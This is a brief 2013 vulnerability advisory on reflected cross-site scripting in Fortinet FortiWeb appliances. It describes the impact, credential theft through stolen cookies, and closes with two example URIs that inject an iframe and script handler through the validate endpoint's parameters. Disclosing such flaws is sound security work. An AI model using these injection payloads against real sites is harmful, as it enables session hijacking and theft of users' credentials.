Multiple Fortinet FortiWeb Appliances Multiple Cross Site Scripting Vulnerabilities
7 Jan. 2013
Summary
Multiple Fortinet FortiWeb Appliances are prone to multiple cross-site scripting vulnerabilities because they fail to properly sanitize user-supplied input.
Credit:
The information has been provided by Benjamin Kunz Mejri.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Exploit:
Attackers can exploit these issues by enticing an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
https://www.example.com/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
https://www.example.com/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0
